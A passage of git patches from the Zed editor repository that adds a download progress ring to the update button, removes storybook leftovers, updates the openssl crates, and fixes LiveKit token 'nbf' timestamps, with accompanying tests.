[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<img width="1350" height="748" alt="Image 02-07-2026 at 17 23"
src="https://github.com/user-attachments/assets/ed23c97a-01b8-446b-9693-0c53a69b419d"
/>

Release Notes:

- Added a download progress indicator to the update button.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/auto_update/src/auto_update.rs         | 202 ++++++++++++++++--
 crates/title_bar/src/update_version.rs        |   5 +-
 .../ui/src/components/collab/update_button.rs |  60 ++++--
 .../components/progress/circular_progress.rs  |  17 +-
 4 files changed, 250 insertions(+), 34 deletions(-)

diff --git a/crates/auto_update/src/auto_update.rs b/crates/auto_update/src/auto_update.rs
index 9786aa84d1622f..126e75ae838e14 100644
--- a/crates/auto_update/src/auto_update.rs
+++ b/crates/auto_update/src/auto_update.rs
@@ -13,7 +13,10 @@ use semver::Version;
 use serde::{Deserialize, Serialize};
 use settings::{RegisterSetting, Settings, SettingsStore};
 use smol::fs::File;
-use smol::{fs, io::AsyncReadExt};
+use smol::{
+    fs,
+    io::{AsyncReadExt, AsyncWriteExt},
+};
 use std::mem;
 use std::{
     env::{
@@ -126,20 +129,33 @@ pub struct AssetQuery<'a> {
 pub enum AutoUpdateStatus {
     Idle,
     Checking,
-    Downloading { version: VersionCheckType },
-    Installing { version: VersionCheckType },
-    Updated { version: VersionCheckType },
-    Errored { error: Arc<anyhow::Error> },
+    Downloading {
+        version: VersionCheckType,
+        /// Download progress as a fraction in the range `0.0..=1.0`, or `None`
+        /// when the total download size is not yet known.
+        progress: Option<f32>,
+    },
+    Installing {
+        version: VersionCheckType,
+    },
+    Updated {
+        version: VersionCheckType,
+    },
+    Errored {
+        error: Arc<anyhow::Error>,
+    },
 }
 
 impl PartialEq for AutoUpdateStatus {
+    // `progress` is deliberately not compared: two `Downloading` statuses for
+    // the same version are equal regardless of how far the download is.
     fn eq(&self, other: &Self) -> bool {
         match (self, other) {
             (AutoUpdateStatus::Idle, AutoUpdateStatus::Idle) => true,
             (AutoUpdateStatus::Checking, AutoUpdateStatus::Checking) => true,
             (
-                AutoUpdateStatus::Downloading { version: v1 },
-                AutoUpdateStatus::Downloading { version: v2 },
+                AutoUpdateStatus::Downloading { version: v1, .. },
+                AutoUpdateStatus::Downloading { version: v2, .. },
             ) => v1 == v2,
             (
                 AutoUpdateStatus::Installing { version: v1 },
@@ -700,6 +716,7 @@ impl AutoUpdater {
         this.update(cx, |this, cx| {
             this.status = AutoUpdateStatus::Downloading {
                 version: newer_version.clone(),
+                progress: None,
             };
             cx.notify();
         });
@@ -708,9 +725,27 @@ impl AutoUpdater {
             .await
             .context("Failed to create installer dir")?;
         let target_path = Self::target_path(&installer_dir).await?;
-        download_release(&target_path, fetched_release_data, client)
-            .await
-            .with_context(|| format!("Failed to download update to {}", target_path.display()))?;
+        let progress_entity = this.clone();
+        let mut progress_cx = cx.clone();
+        download_release(
+            &target_path,
+            fetched_release_data,
+            client,
+            move |progress| {
+                progress_entity.update(&mut progress_cx, |this, cx| {
+                    if let AutoUpdateStatus::Downloading {
+                        progress: current_progress,
+                        ..
+                    } = &mut this.status
+                    {
+                        *current_progress = progress;
+                        cx.notify();
+                    }
+                });
+            },
+        )
+        .await
+        .with_context(|| format!("Failed to download update to {}", target_path.display()))?;
 
         this.update(cx, |this, cx| {
             this.status = AutoUpdateStatus::Installing {
@@ -989,6 +1024,7 @@ async fn download_release(
     target_path: &Path,
     release: ReleaseAsset,
     client: Arc<HttpClientWithUrl>,
+    mut on_progress: impl FnMut(Option<f32>),
 ) -> Result<()> {
     let mut target_file = File::create(&target_path).await?;
 
@@ -998,7 +1034,40 @@ async fn download_release(
         "failed to download update: {:?}",
         response.status()
     );
-    smol::io::copy(response.body_mut(), &mut target_file).await?;
+
+    let total_bytes = response
+        .headers()
+        .get(http_client::http::header::CONTENT_LENGTH)
+        .and_then(|value| value.to_str().ok())
+        .and_then(|value| value.parse::<u64>().ok())
+        .filter(|total_bytes| *total_bytes > 0);
+
+    let mut downloaded_bytes: u64 = 0;
+    let mut last_reported_percent: Option<u8> = None;
+    let mut buffer = [0u8; 8192];
+    let body = response.body_mut();
+    loop {
+        let bytes_read = body.read(&mut buffer).await?;
+        if bytes_read == 0 {
+            break;
+        }
+        target_file.write_all(&buffer[..bytes_read]).await?;
+        downloaded_bytes += bytes_read as u64;
+
+        if let Some(total_bytes) = total_bytes {
+            let fraction = (downloaded_bytes as f32 / total_bytes as f32).clamp(0.0, 1.0);
+            // Only report when the whole-number percentage changes to avoid notifying the UI on every chunk.
+            let percent = (fraction * 100.0) as u8;
+            if last_reported_percent != Some(percent) {
+                last_reported_percent = Some(percent);
+                on_progress(Some(fraction));
+            }
+        }
+    }
+    target_file.flush().await?;
+    if total_bytes.is_some() && last_reported_percent != Some(100) {
+        on_progress(Some(1.0));
+    }
     log::info!("downloaded update. path:{:?}", target_path);
 
     Ok(())
@@ -1297,7 +1366,8 @@ mod tests {
         assert_eq!(
             status,
             AutoUpdateStatus::Downloading {
-                version: VersionCheckType::Semantic(semver::Version::new(0, 100, 1))
+                version: VersionCheckType::Semantic(semver::Version::new(0, 100, 1)),
+                progress: None,
             }
         );
 
@@ -1337,6 +1407,114 @@ mod tests {
         assert_eq!(std::fs::read_to_string(path).unwrap(), "<fake-zed-update>");
     }
 
+    #[gpui::test]
+    async fn test_download_release_reports_progress(cx: &mut TestAppContext) {
+        cx.background_executor.allow_parking();
+
+        let body = vec![0u8; 20_000];
+        let content_length = body.len();
+
+        let client = FakeHttpClient::create(move |_req| {
+            let body = body.clone();
+            async move {
+                Ok(Response::builder()
+                    .status(200)
+                    .header(
+                        http_client::http::header::CONTENT_LENGTH,
+                        body.len().to_string(),
+                    )
+                    .body(body.into())
+                    .unwrap())
+            }
+        });
+
+        let temp_dir = tempdir().unwrap();
+        let target_path = temp_dir.path().join("zed-download");
+        let release = ReleaseAsset {
+            version: "1.0.0".to_string(),
+            url: "https://test.example/download".to_string(),
+        };
+
+        let reported = Rc::new(std::cell::RefCell::new(Vec::<f32>::new()));
+        download_release(&target_path, release, client, {
+            let reported = reported.clone();
+            move |fraction| {
+                if let Some(fraction) = fraction {
+                    reported.borrow_mut().push(fraction);
+                }
+            }
+        })
+        .await
+        .unwrap();
+
+        let reported = reported.borrow();
+        assert!(
+            reported.len() >= 2,
+            "expected progress to be reported across multiple reads, got {reported:?}"
+        );
+        assert_eq!(
+            reported.last().copied(),
+            Some(1.0),
+            "download should finish at 100%"
+        );
+        for fraction in reported.iter() {
+            assert!(
+                (0.0..=1.0).contains(fraction),
+                "progress {fraction} out of range"
+            );
+        }
+        for pair in reported.windows(2) {
+            assert!(
+                pair[0] <= pair[1],
+                "progress must not decrease: {reported:?}"
+            );
+        }
+
+        let downloaded_len = std::fs::metadata(&target_path).unwrap().len();
+        assert_eq!(downloaded_len, content_length as u64);
+    }
+
+    #[gpui::test]
+    async fn test_download_release_without_content_length_reports_no_progress(
+        cx: &mut TestAppContext,
+    ) {
+        cx.background_executor.allow_parking();
+
+        let body = vec![0u8; 20_000];
+        let content_length = body.len();
+
+        let client = FakeHttpClient::create(move |_req| {
+            let body = body.clone();
+            async move { Ok(Response::builder().status(200).body(body.into()).unwrap()) }
+        });
+
+        let temp_dir = tempdir().unwrap();
+        let target_path = temp_dir.path().join("zed-download");
+        let release = ReleaseAsset {
+            version: "1.0.0".to_string(),
+            url: "https://test.example/download".to_string(),
+        };
+
+        let reported = Rc::new(std::cell::RefCell::new(Vec::<Option<f32>>::new()));
+        download_release(&target_path, release, client, {
+            let reported = reported.clone();
+            move |fraction| {
+                reported.borrow_mut().push(fraction);
+            }
+        })
+        .await
+        .unwrap();
+
+        assert!(
+            reported.borrow().is_empty(),
+            "progress should not be reported when the total size is unknown, got {:?}",
+            reported.borrow()
+        );
+
+        let downloaded_len = std::fs::metadata(&target_path).unwrap().len();
+        assert_eq!(downloaded_len, content_length as u64);
+    }
+
     #[test]
     fn test_stable_does_not_update_when_fetched_version_is_not_higher() {
         let release_channel = ReleaseChannel::Stable;
diff --git a/crates/title_bar/src/update_version.rs b/crates/title_bar/src/update_version.rs
index 2ca96b5ac0e380..0c7db0d165fdb7 100644
--- a/crates/title_bar/src/update_version.rs
+++ b/crates/title_bar/src/update_version.rs
@@ -43,6 +43,7 @@ impl UpdateVersion {
             AutoUpdateStatus::Idle => AutoUpdateStatus::Checking,
             AutoUpdateStatus::Checking => AutoUpdateStatus::Downloading {
                 version: VersionCheckType::Semantic(Version::new(1, 99, 0)),
+                progress: Some(0.5),
             },
             AutoUpdateStatus::Downloading { .. } => AutoUpdateStatus::Installing {
                 version: VersionCheckType::Semantic(Version::new(1, 99, 0)),
@@ -85,9 +86,9 @@ impl Render for UpdateVersion {
             AutoUpdateStatus::Checking if self.update_check_type.is_manual() => {
                 UpdateButton::checking().into_any_element()
             }
-            AutoUpdateStatus::Downloading { version } => {
+            AutoUpdateStatus::Downloading { version, progress } => {
                 let version = Self::version_tooltip_message(&version);
-                UpdateButton::downloading(version).into_any_element()
+                UpdateButton::downloading(version, *progress).into_any_element()
             }
             AutoUpdateStatus::Installing { version } => {
                 let version = Self::version_tooltip_message(&version);
diff --git a/crates/ui/src/components/collab/update_button.rs b/crates/ui/src/components/collab/update_button.rs
index c0e74867cc62f7..38d6a169341385 100644
--- a/crates/ui/src/components/collab/update_button.rs
+++ b/crates/ui/src/components/collab/update_button.rs
@@ -1,6 +1,10 @@
 use gpui::{AnyElement, ClickEvent, prelude::*};
 
-use crate::{ButtonLike, CommonAnimationExt, Tooltip, prelude::*};
+use crate::{ButtonLike, CircularProgress, CommonAnimationExt, Tooltip, prelude::*};
+
+const LOAD_CIRCLE_GLYPH_VIEWBOX: f32 = 16.0;
+const LOAD_CIRCLE_GLYPH_STROKE_WIDTH: f32 = 1.2;
+const LOAD_CIRCLE_GLYPH_RADIUS: f32 = 5.0;
 
 /// A button component displayed in the title bar to show auto-update status.
 #[derive(IntoElement, RegisterComponent)]
@@ -12,6 +16,7 @@ pub struct UpdateButton {
     tooltip: Option<SharedString>,
     disabled: bool,
     show_dismiss: bool,
+    progress: Option<f32>,
     on_click: Option<Box<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>>,
     on_dismiss: Option<Box<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>>,
 }
@@ -26,6 +31,7 @@ impl UpdateButton {
             tooltip: None,
             disabled: false,
             show_dismiss: false,
+            progress: None,
             on_click: None,
             on_dismiss: None,
         }
@@ -78,15 +84,21 @@ impl UpdateButton {
         self
     }
 
+    pub fn progress(mut self, progress: impl Into<Option<f32>>) -> Self {
+        self.progress = progress.into();
+        self
+    }
+
     pub fn checking() -> Self {
         Self::new(IconName::LoadCircle, "Checking for Zed Updates…")
             .icon_animate(true)
             .disabled(true)
     }
 
-    pub fn downloading(version: impl Into<SharedString>) -> Self {
+    pub fn downloading(version: impl Into<SharedString>, progress: Option<f32>) -> Self {
         Self::new(IconName::Download, "Downloading Zed Update…")
             .tooltip(version)
+            .progress(progress)
             .disabled(true)
     }
 
@@ -112,24 +124,44 @@ impl UpdateButton {
 }
 
 impl RenderOnce for UpdateButton {
-    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+    fn render(self, window: &mut Window, cx: &mut App) -> impl IntoElement {
         let border_color = if self.disabled {
             cx.theme().colors().border
         } else {
             cx.theme().colors().text.opacity(0.15)
         };
 
-        let icon = Icon::new(self.icon)
-            .size(IconSize::XSmall)
-            .when_some(self.icon_color, |this, color| this.color(color));
-        let icon_element = if self.icon_animate {
-            icon.with_rotate_animation(2).into_any_element()
+        let icon_element = if let Some(progress) = self.progress {
+            let progress = progress.clamp(0.0, 1.0);
+            let icon_box = IconSize::XSmall.rems().to_pixels(window.rem_size());
+            let progress_color = Color::Default.color(cx);
+            CircularProgress::new(progress, 1.0, icon_box, cx)
+                .stroke_width(
+                    icon_box * (LOAD_CIRCLE_GLYPH_STROKE_WIDTH / LOAD_CIRCLE_GLYPH_VIEWBOX),
+                )
+                .radius(icon_box * (LOAD_CIRCLE_GLYPH_RADIUS / LOAD_CIRCLE_GLYPH_VIEWBOX))
+                .bg_color(progress_color.opacity(0.2))
+                .progress_color(progress_color)
+                .into_any_element()
         } else {
-            icon.into_any_element()
+            let icon = Icon::new(self.icon)
+                .size(IconSize::XSmall)
+                .when_some(self.icon_color, |this, color| this.color(color));
+            if self.icon_animate {
+                icon.with_rotate_animation(2).into_any_element()
+            } else {
+                icon.into_any_element()
+            }
         };
 
         let tooltip = self.tooltip.clone();
 
+        let label_row = h_flex()
+            .h_full()
+            .gap_1()
+            .child(icon_element)
+            .child(Label::new(self.message).size(LabelSize::Small));
+
         h_flex()
             .mr_2()
             .rounded_sm()
@@ -137,13 +169,7 @@ impl RenderOnce for UpdateButton {
             .border_color(border_color)
             .child(
                 ButtonLike::new("update-button")
-                    .child(
-                        h_flex()
-                            .h_full()
-                            .gap_1()
-                            .child(icon_element)
-                            .child(Label::new(self.message).size(LabelSize::Small)),
-                    )
+                    .child(label_row)
                     .when_some(tooltip, |this, tooltip| {
                         this.tooltip(Tooltip::text(tooltip))
                     })
@@ -189,7 +215,7 @@ impl Component for UpdateButton {
                         single_example("Checking", UpdateButton::checking().into_any_element()),
                         single_example(
                             "Downloading",
-                            UpdateButton::downloading(version).into_any_element(),
+                            UpdateButton::downloading(version, Some(0.45)).into_any_element(),
                         ),
                         single_example(
                             "Installing",
diff --git a/crates/ui/src/components/progress/circular_progress.rs b/crates/ui/src/components/progress/circular_progress.rs
index 69f93b740cd86e..26e38258f9496b 100644
--- a/crates/ui/src/components/progress/circular_progress.rs
+++ b/crates/ui/src/components/progress/circular_progress.rs
@@ -11,6 +11,7 @@ pub struct CircularProgress {
     max_value: f32,
     size: Pixels,
     stroke_width: Pixels,
+    radius: Option<Pixels>,
     bg_color: Hsla,
     progress_color: Hsla,
 }
@@ -22,6 +23,7 @@ impl CircularProgress {
             max_value,
             size,
             stroke_width: px(4.0),
+            radius: None,
             bg_color: cx.theme().colors().border_variant,
             progress_color: cx.theme().status().info,
         }
@@ -51,6 +53,16 @@ impl CircularProgress {
         self
     }
 
+    /// Sets the ring radius explicitly, decoupling it from the layout box.
+    ///
+    /// By default the radius is derived from the size and stroke width so
+    /// the ring fills the box. Set it explicitly to draw a smaller ring
+    /// inside the box, e.g. to match the padding of an icon glyph.
+    pub fn radius(mut self, radius: Pixels) -> Self {
+        self.radius = Some(radius);
+        self
+    }
+
     /// Sets the background circle color.
     pub fn bg_color(mut self, color: Hsla) -> Self {
         self.bg_color = color;
@@ -69,6 +81,8 @@ impl RenderOnce for CircularProgress {
         let value = self.value;
         let max_value = self.max_value;
         let size = self.size;
+        let stroke_width = self.stroke_width;
+        let radius = self.radius.unwrap_or_else(|| (size / 2.0) - stroke_width);
         let bg_color = self.bg_color;
         let progress_color = self.progress_color;
 
@@ -80,9 +94,6 @@ impl RenderOnce for CircularProgress {
                 let center_x = bounds.origin.x + bounds.size.width / 2.0;
                 let center_y = bounds.origin.y + bounds.size.height / 2.0;
 
-                let stroke_width = self.stroke_width;
-                let radius = (size / 2.0) - stroke_width;
-
                 // Draw background circle (full 360 degrees)
                 let mut bg_builder = PathBuilder::stroke(stroke_width);
 

From a91c8aa7d71215bff8c4bed29085a7cff7bd80ad Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Fri, 3 Jul 2026 10:27:48 +0200
Subject: [PATCH 235/772] Remove more storybook leftovers (#60337)

Release Notes:

- N/A
---
 .github/CODEOWNERS.hold       |  1 -
 assets/keymaps/storybook.json | 33 ---------------------------------
 script/check-keymaps          |  1 -
 script/storybook              |  7 -------
 4 files changed, 42 deletions(-)
 delete mode 100644 assets/keymaps/storybook.json
 delete mode 100755 script/storybook

diff --git a/.github/CODEOWNERS.hold b/.github/CODEOWNERS.hold
index 0e6ab04228d43c..fea437d4ff9206 100644
--- a/.github/CODEOWNERS.hold
+++ b/.github/CODEOWNERS.hold
@@ -304,7 +304,6 @@
 /crates/picker/ @zed-industries/ui-team
 /crates/refineable/ @zed-industries/ui-team
 /crates/story/ @zed-industries/ui-team
-/crates/storybook/ @zed-industries/ui-team
 /crates/svg_preview/ @zed-industries/ui-team
 /crates/tab_switcher/ @zed-industries/ui-team
 /crates/theme/ @zed-industries/ui-team
diff --git a/assets/keymaps/storybook.json b/assets/keymaps/storybook.json
deleted file mode 100644
index 432bdc7004a4c6..00000000000000
--- a/assets/keymaps/storybook.json
+++ /dev/null
@@ -1,33 +0,0 @@
-[
-  // Standard macOS bindings
-  {
-    "bindings": {
-      "home": "menu::SelectFirst",
-      "shift-pageup": "menu::SelectFirst",
-      "pageup": "menu::SelectFirst",
-      "cmd-up": "menu::SelectFirst",
-      "end": "menu::SelectLast",
-      "shift-pagedown": "menu::SelectLast",
-      "pagedown": "menu::SelectLast",
-      "cmd-down": "menu::SelectLast",
-      "tab": "menu::SelectNext",
-      "ctrl-n": "menu::SelectNext",
-      "down": "menu::SelectNext",
-      "shift-tab": "menu::SelectPrevious",
-      "ctrl-p": "menu::SelectPrevious",
-      "up": "menu::SelectPrevious",
-      "enter": "menu::Confirm",
-      "ctrl-enter": "menu::SecondaryConfirm",
-      "cmd-enter": "menu::SecondaryConfirm",
-      "ctrl-escape": "menu::Cancel",
-      "cmd-escape": "menu::Cancel",
-      "ctrl-c": "menu::Cancel",
-      "escape": "menu::Cancel",
-      "cmd-q": "storybook::Quit",
-      "backspace": "editor::Backspace",
-      "delete": "editor::Delete",
-      "left": "editor::MoveLeft",
-      "right": "editor::MoveRight",
-    },
-  },
-]
diff --git a/script/check-keymaps b/script/check-keymaps
index abda2118f84620..e72dec7e92aa46 100755
--- a/script/check-keymaps
+++ b/script/check-keymaps
@@ -5,7 +5,6 @@ set -euo pipefail
 pattern='cmd-'
 result=$(git grep --no-color --line-number --fixed-strings -e "$pattern" -- \
   'assets/keymaps/' \
-  ':(exclude)assets/keymaps/storybook.json' \
   ':(exclude)assets/keymaps/default-macos.json' \
   ':(exclude)assets/keymaps/specific-overrides-macos.json' \
   ':(exclude)assets/keymaps/macos/*.json' || true)
diff --git a/script/storybook b/script/storybook
deleted file mode 100755
index 20a81008d1c24a..00000000000000
--- a/script/storybook
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/usr/bin/env bash
-
-if [ -z "$1" ]; then
-    cargo run -p storybook
-else
-    cargo run -p storybook -- "components/$1"
-fi

From 98ddc3ae2efef817d71f40f8ead59b87e5407d68 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Fri, 3 Jul 2026 11:38:07 +0200
Subject: [PATCH 236/772] Update openssl dependencies (#60342)

Release Notes:

- N/A
---
 Cargo.lock | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index bc57517ab75020..e2fcdbf54f861f 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -12368,9 +12368,9 @@ dependencies = [
 
 [[package]]
 name = "openssl"
-version = "0.10.79"
+version = "0.10.81"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf0b434746ee2832f4f0baf10137e1cabb18cbe6912c69e2e33263c45250f542"
+checksum = "77823a27f0babb03091cb9ed9ef80af3b39dbc82f97e8fa530374b7dafd87a45"
 dependencies = [
  "bitflags 2.10.0",
  "cfg-if",
@@ -12405,9 +12405,9 @@ checksum = "7c87def4c32ab89d880effc9e097653c8da5d6ef28e6b539d313baaacfbafcbe"
 
 [[package]]
 name = "openssl-sys"
-version = "0.9.115"
+version = "0.9.117"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "158fe5b292746440aa6e7a7e690e55aeb72d41505e2804c23c6973ad0e9c9781"
+checksum = "b47e7e6bb2c38cd930d25a23b40fa52e068c10e85f3e03a7f5ba5aaca5713695"
 dependencies = [
  "cc",
  "libc",

From 59185f5a70b4ed7015de301db494b6e1032e9a09 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Fri, 3 Jul 2026 05:50:42 -0400
Subject: [PATCH 237/772] livekit_api: Fix LiveKit token revocation timestamps
 (#60157)

LiveKit Cloud rejects room-join tokens as revoked when their `nbf`
predates a participant revocation. Zed generated those LiveKit JWTs with
`nbf: 0`, so a fresh participant token minted after stale connection
cleanup could still appear older than the cleanup and leave a user
joined at the collab layer without audio or screen sharing. This sets
`nbf` to the issuance time for room-join tokens while leaving admin/API
tokens unchanged, and adds regression coverage at the token, mock
LiveKit, and channel rejoin layers.

Closes FR-83

Release Notes:

- Fixed calls getting stuck without audio or screen sharing after
restarting Zed and rejoining a channel.
---
 .../collab/tests/integration/channel_tests.rs |  89 ++++++
 .../collab/tests/integration/test_server.rs   |  12 +-
 crates/livekit_api/Cargo.toml                 |   3 +
 crates/livekit_api/src/livekit_api.rs         |  32 +-
 crates/livekit_api/src/token.rs               | 190 +++++++++++-
 crates/livekit_client/Cargo.toml              |   3 +-
 crates/livekit_client/src/test.rs             | 276 ++++++++++++++++--
 7 files changed, 570 insertions(+), 35 deletions(-)

diff --git a/crates/collab/tests/integration/channel_tests.rs b/crates/collab/tests/integration/channel_tests.rs
index 329478819e491d..7b20620082db6d 100644
--- a/crates/collab/tests/integration/channel_tests.rs
+++ b/crates/collab/tests/integration/channel_tests.rs
@@ -589,6 +589,95 @@ async fn test_channel_room(
     );
 }
 
+#[gpui::test]
+async fn test_rejoining_channel_after_stale_connection_cleanup_connects_livekit(
+    executor: BackgroundExecutor,
+    cx_a: &mut TestAppContext,
+    cx_a2: &mut TestAppContext,
+    cx_b: &mut TestAppContext,
+) {
+    let mut server = TestServer::start(executor.clone()).await;
+    let client_a = server.create_client(cx_a, "user_a").await;
+    let client_b = server.create_client(cx_b, "user_b").await;
+
+    let channel_id = server
+        .make_channel("zed", None, (&client_a, cx_a), &mut [(&client_b, cx_b)])
+        .await;
+
+    let active_call_a = cx_a.read(ActiveCall::global);
+    active_call_a
+        .update(cx_a, |active_call, cx| {
+            active_call.join_channel(channel_id, cx)
+        })
+        .await
+        .unwrap();
+
+    let active_call_b = cx_b.read(ActiveCall::global);
+    active_call_b
+        .update(cx_b, |active_call, cx| {
+            active_call.join_channel(channel_id, cx)
+        })
+        .await
+        .unwrap();
+
+    executor.run_until_parked();
+
+    let old_room_a =
+        cx_a.read(|cx| active_call_a.read_with(cx, |call, _| call.room().unwrap().clone()));
+    cx_a.read(|cx| old_room_a.read_with(cx, |room, cx| assert!(room.is_connected(cx))));
+
+    server.disconnect_client(client_a.peer_id().unwrap());
+    executor.run_until_parked();
+    server.advance_livekit_timestamp();
+
+    let client_a2 = server.create_client(cx_a2, "user_a").await;
+    let active_call_a2 = cx_a2.read(ActiveCall::global);
+    active_call_a2
+        .update(cx_a2, |active_call, cx| {
+            active_call.join_channel(channel_id, cx)
+        })
+        .await
+        .unwrap();
+
+    executor.run_until_parked();
+
+    let room_a2 =
+        cx_a2.read(|cx| active_call_a2.read_with(cx, |call, _| call.room().unwrap().clone()));
+    cx_a2.read(|cx| room_a2.read_with(cx, |room, cx| assert!(room.is_connected(cx))));
+    assert_eq!(
+        room_participants(&room_a2, cx_a2),
+        RoomParticipants {
+            remote: vec!["user_b".to_string()],
+            pending: vec![]
+        }
+    );
+
+    let room_b =
+        cx_b.read(|cx| active_call_b.read_with(cx, |call, _| call.room().unwrap().clone()));
+    cx_b.read(|cx| room_b.read_with(cx, |room, cx| assert!(room.is_connected(cx))));
+    assert_eq!(
+        room_participants(&room_b, cx_b),
+        RoomParticipants {
+            remote: vec!["user_a".to_string()],
+            pending: vec![]
+        }
+    );
+
+    cx_a2.read(|cx| {
+        client_a2.channel_store().read_with(cx, |channels, _| {
+            let mut participant_ids = channels
+                .channel_participants(channel_id)
+                .iter()
+                .map(|participant| participant.legacy_id)
+                .collect::<Vec<_>>();
+            participant_ids.sort_unstable();
+            let mut expected_ids = vec![client_a2.user_id().unwrap(), client_b.user_id().unwrap()];
+            expected_ids.sort_unstable();
+            assert_eq!(participant_ids, expected_ids);
+        })
+    });
+}
+
 #[gpui::test]
 async fn test_channel_jumping(executor: BackgroundExecutor, cx_a: &mut TestAppContext) {
     let mut server = TestServer::start(executor.clone()).await;
diff --git a/crates/collab/tests/integration/test_server.rs b/crates/collab/tests/integration/test_server.rs
index 62169c9a9389c6..3434674e630c58 100644
--- a/crates/collab/tests/integration/test_server.rs
+++ b/crates/collab/tests/integration/test_server.rs
@@ -48,7 +48,7 @@ use std::{
 use util::path;
 use workspace::{MultiWorkspace, Workspace, WorkspaceStore};
 
-use livekit_client::test::TestServer as LivekitTestServer;
+use livekit_client::test::{ManualUnixTimestampSource, TestServer as LivekitTestServer};
 
 use crate::db_tests::TestDb;
 
@@ -56,6 +56,7 @@ pub struct TestServer {
     pub app_state: Arc<AppState>,
     pub test_livekit_server: Arc<LivekitTestServer>,
     pub test_db: TestDb,
+    livekit_timestamp_source: Arc<ManualUnixTimestampSource>,
     server: Arc<Server>,
     next_github_user_id: i32,
     connection_killers: Arc<Mutex<HashMap<PeerId, Arc<AtomicBool>>>>,
@@ -96,11 +97,13 @@ impl TestServer {
             TestDb::sqlite(deterministic.clone())
         };
         let livekit_server_id = NEXT_LIVEKIT_SERVER_ID.fetch_add(1, SeqCst);
-        let livekit_server = LivekitTestServer::create(
+        let livekit_timestamp_source = Arc::new(ManualUnixTimestampSource::new(1_234_567));
+        let livekit_server = LivekitTestServer::create_with_timestamp_source(
             format!("http://livekit.{}.test", livekit_server_id),
             format!("devkey-{}", livekit_server_id),
             format!("secret-{}", livekit_server_id),
             deterministic.clone(),
+            livekit_timestamp_source.clone(),
         )
         .unwrap();
         let executor = Executor::Deterministic(deterministic.clone());
@@ -121,10 +124,15 @@ impl TestServer {
             forbid_connections: Default::default(),
             next_github_user_id: 0,
             test_db,
+            livekit_timestamp_source,
             test_livekit_server: livekit_server,
         }
     }
 
+    pub fn advance_livekit_timestamp(&self) {
+        self.livekit_timestamp_source.advance();
+    }
+
     pub async fn start2(
         cx_a: &mut TestAppContext,
         cx_b: &mut TestAppContext,
diff --git a/crates/livekit_api/Cargo.toml b/crates/livekit_api/Cargo.toml
index 2b2438c25e6d3c..80ba67d9941c30 100644
--- a/crates/livekit_api/Cargo.toml
+++ b/crates/livekit_api/Cargo.toml
@@ -13,6 +13,9 @@ workspace = true
 path = "src/livekit_api.rs"
 doctest = false
 
+[features]
+test-support = []
+
 [dependencies]
 anyhow.workspace = true
 async-trait.workspace = true
diff --git a/crates/livekit_api/src/livekit_api.rs b/crates/livekit_api/src/livekit_api.rs
index 745f511b12e177..250f56b3fd934d 100644
--- a/crates/livekit_api/src/livekit_api.rs
+++ b/crates/livekit_api/src/livekit_api.rs
@@ -31,10 +31,25 @@ pub struct LiveKitClient {
     url: Arc<str>,
     key: Arc<str>,
     secret: Arc<str>,
+    timestamp_source: Arc<dyn token::UnixTimestampSource>,
 }
 
 impl LiveKitClient {
-    pub fn new(mut url: String, key: String, secret: String) -> Self {
+    pub fn new(url: String, key: String, secret: String) -> Self {
+        Self::new_with_timestamp_source(
+            url,
+            key,
+            secret,
+            Arc::new(token::SystemUnixTimestampSource),
+        )
+    }
+
+    pub(crate) fn new_with_timestamp_source(
+        mut url: String,
+        key: String,
+        secret: String,
+        timestamp_source: Arc<dyn token::UnixTimestampSource>,
+    ) -> Self {
         if url.ends_with('/') {
             url.pop();
         }
@@ -47,6 +62,7 @@ impl LiveKitClient {
             url: url.into(),
             key: key.into(),
             secret: secret.into(),
+            timestamp_source,
         }
     }
 
@@ -61,7 +77,13 @@ impl LiveKitClient {
         Res: Default + Message,
     {
         let client = self.http.clone();
-        let token = token::create(&self.key, &self.secret, None, grant);
+        let token = token::create_with_timestamp_source(
+            &self.key,
+            &self.secret,
+            None,
+            grant,
+            self.timestamp_source.as_ref(),
+        );
         let url = format!("{}/{}", self.url, path);
         log::info!("Request {}: {:?}", url, body);
         async move {
@@ -163,20 +185,22 @@ impl Client for LiveKitClient {
     }
 
     fn room_token(&self, room: &str, identity: &str) -> Result<String> {
-        token::create(
+        token::create_with_timestamp_source(
             &self.key,
             &self.secret,
             Some(identity),
             token::VideoGrant::to_join(room),
+            self.timestamp_source.as_ref(),
         )
     }
 
     fn guest_token(&self, room: &str, identity: &str) -> Result<String> {
-        token::create(
+        token::create_with_timestamp_source(
             &self.key,
             &self.secret,
             Some(identity),
             token::VideoGrant::for_guest(room),
+            self.timestamp_source.as_ref(),
         )
     }
 }
diff --git a/crates/livekit_api/src/token.rs b/crates/livekit_api/src/token.rs
index 6f12d78855106c..5229a83bb6e968 100644
--- a/crates/livekit_api/src/token.rs
+++ b/crates/livekit_api/src/token.rs
@@ -1,14 +1,25 @@
-use anyhow::Result;
+use anyhow::{Context as _, Result};
 use jsonwebtoken::{DecodingKey, EncodingKey, Header, Validation};
 use serde::{Deserialize, Serialize};
 use std::{
     borrow::Cow,
-    ops::Add,
     time::{Duration, SystemTime, UNIX_EPOCH},
 };
 
 const DEFAULT_TTL: Duration = Duration::from_secs(6 * 60 * 60); // 6 hours
 
+pub trait UnixTimestampSource: Send + Sync {
+    fn unix_timestamp(&self) -> Result<u64>;
+}
+
+pub struct SystemUnixTimestampSource;
+
+impl UnixTimestampSource for SystemUnixTimestampSource {
+    fn unix_timestamp(&self) -> Result<u64> {
+        Ok(SystemTime::now().duration_since(UNIX_EPOCH)?.as_secs())
+    }
+}
+
 #[derive(Default, Serialize, Deserialize)]
 #[serde(rename_all = "camelCase")]
 pub struct ClaimGrants<'a> {
